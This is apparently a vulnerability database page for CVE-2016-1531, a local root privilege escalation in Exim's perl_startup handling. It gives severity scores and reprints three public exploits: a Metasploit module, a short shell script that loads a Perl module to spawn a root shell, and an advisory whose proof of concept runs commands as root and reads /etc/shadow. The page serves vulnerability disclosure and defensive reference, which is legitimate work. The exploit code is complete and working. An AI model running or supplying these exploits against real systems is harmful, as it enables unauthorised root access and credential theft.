Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metric |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
7 |
HIGH |
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39702
Publication date : 2016-04-14 22:00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim "perl_startup" Privilege Escalation',
'Description' => %q{
This module exploits a Perl injection vulnerability in Exim < 4.86.2
given the presence of the "perl_startup" configuration parameter.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
%w{CVE 2016-1531},
%w{EDB 39549},
%w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
],
'DisclosureDate' => 'Mar 10 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x27", # " and '
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
}
},
'Targets' => [
['Exim < 4.86.2', {}]
],
'DefaultTarget' => 0
))
end
def check
if exploit('whoami') == 'root'
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
def exploit(c = payload.encoded)
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
end
end
Exploit Database EDB-ID : 39535
Publication date : 2016-03-08 23:00 +00:00
Author : Hacker Fantastic
EDB Verified : Yes
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
Exploit Database EDB-ID : 39549
Publication date : 2016-03-09 23:00 +00:00
Author : Dawid Golunski
EDB Verified : Yes
=============================================
- Advisory release date: 10.03.2016
- Created by: Dawid Golunski
- Severity: High/Critical
=============================================
I. VULNERABILITY
-------------------------
Exim < 4.86.2 Local Root Privilege Escalation Exploit
II. BACKGROUND
-------------------------
"Exim is a message transfer agent (MTA) developed at the University of
Cambridge for use on Unix systems connected to the Internet. It is freely
available under the terms of the GNU General Public Licence. In style it is
similar to Smail 3, but its facilities are more general. There is a great
deal of flexibility in the way mail can be routed, and there are extensive
facilities for checking incoming mail. Exim can be installed in place of
Sendmail, although the configuration of Exim is quite different."
http://www.exim.org/
III. INTRODUCTION
-------------------------
When Exim installation has been compiled with Perl support and contains a
perl_startup configuration variable it can be exploited by malicious local
attackers to gain root privileges.
IV. DESCRIPTION
-------------------------
The vulnerability stems from Exim in versions below 4.86.2 not performing
sanitization of the environment before loading a perl script defined
with perl_startup setting in exim config.
perl_startup is usually used to load various helper scripts such as
mail filters, gray listing scripts, mail virus scanners etc.
For the option to be supported, exim must have been compiled with Perl
support, which can be verified with:
[dawid@centos7 ~]$ exim -bV -v | grep i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL
Content_Scanning DKIM Old_Demime PRDR OCSP
To perform the attack, attacker can take advantage of the exim's sendmail
interface which links to an exim binary that has an SUID bit set on it by
default as we can see below:
[dawid@centos7 ~]$ ls -l /usr/sbin/sendmail.exim
lrwxrwxrwx. 1 root root 4 Nov 30 00:45 /usr/sbin/sendmail.exim -> exim
[dawid@centos7 ~]$ ls -l /usr/sbin/exim
-rwsr-xr-x. 1 root root 1222416 Dec 7 2015 /usr/sbin/exim
Normally, when exim sendmail interface starts up, it drops its root
privileges before giving control to the user (i.e entering mail contents for
sending etc), however an attacker can make use of the following command line
parameter which is available to all users:
-ps This option applies when an embedded Perl interpreter is linked with
Exim. It overrides the setting of the perl_at_start option, forcing the
starting of the interpreter to occur as soon as Exim is started.
As we can see from the documentation at:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
the perl_at_start option does the following:
"Setting perl_at_start (a boolean option) in the configuration requests a
startup when Exim is entered."
Therefore it is possible to force the execution of the perl_startup script
defined in the Exim's main config before exim drops its root privileges.
To exploit this setting and gain the effective root privilege of the SUID binary,
attackers can inject PERL5OPT perl environment variable, which does not get
cleaned by affected versions of Exim.
As per perl documentation, the environment variable allows to set perl command-line
options (switches). Switches in this variable are treated as if they were on every
Perl command line.
There are several interesting perl switches that that could be set by attackers to
trigger code execution.
One of these is -d switch which forces perl to enter an interactive debug mode
in which it is possible to take control of the perl application.
An example proof of concept exploit using the -d switch can be found below.
V. PROOF OF CONCEPT ROOT EXPLOIT
-------------------------
[dawid@centos7 ~]$ head /etc/exim/exim.conf
######################################################################
# Runtime configuration file for Exim #
######################################################################
# Custom filtering via perl
perl_startup = do '/usr/share/exim4/exigrey.pl'
[dawid@centos7 ~]$ exim -bV -v | grep -i Perl
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc TCPwrappers OpenSSL Content_Scanning DKIM Old_Demime PRDR OCSP
[dawid@centos7 ~]$ PERL5OPT="-d/dev/null" /usr/sbin/sendmail.exim -ps victim@localhost
Loading DB routines from perl5db.pl version 1.37
Editor support available.
Enter h or 'h h' for help, or 'man perldebug' for more help.
Debugged program terminated. Use q to quit or R to restart,
use o inhibit_exit to avoid stopping after program termination,
h q, h R or h o to get additional info.
DB<1> p system("id");
uid=0(root) gid=10(wheel) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0
DB<2> p system("head /etc/shadow");
root:$5$afgjO3wQeqHpAYF7$TmL0[...]AYAAvbA:16682:0:99999:7:::
bin:*:16372:0:99999:7:::
daemon:*:16372:0:99999:7::
[...]
VI. BUSINESS IMPACT
-------------------------
This vulnerability could be exploited by attackers who have local access to the
system to escalate their privileges to root which would allow them to fully
compromise the system.
VII. SYSTEMS AFFECTED
-------------------------
Exim versions before the latest patched version of Exim 4.86.2 are affected by
this vulnerability, if Exim was compiled with Perl support and the main
configuration file (i.e /etc/exim/exim.conf or /etc/exim4/exim.conf), contains
a perl_startup option e.g:
perl_startup = do '/usr/share/exim4/exigrey.pl'
It is important to note that the file does not necessarily have to exist
to exploit the vulnerability. Although the path must be specified.
VIII. SOLUTION
-------------------------
Update to Exim 4.86.2 which contains the official patch that fixes the
environment sanitization issues.
IX. REFERENCES
-------------------------
http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
http://www.exim.org/
http://www.exim.org/static/doc/CVE-2016-1531.txt
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html
https://github.com/Exim/exim/commit/29f9808015576a9a1f391f4c6b80c7c606a4d99f
CVE-2016-1531
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1531
X. ADVISORY CREATED BY
-------------------------
This advisory has been created by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
XI. REVISION HISTORY
-------------------------
March 10th, 2016: Advisory released
March 11th, 2016: Fixed advisory header,added cve.mitre link of the root issue
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
Products Mentioned
Configuraton 0
Exim>>Exim >> Version To (including) 4.86
References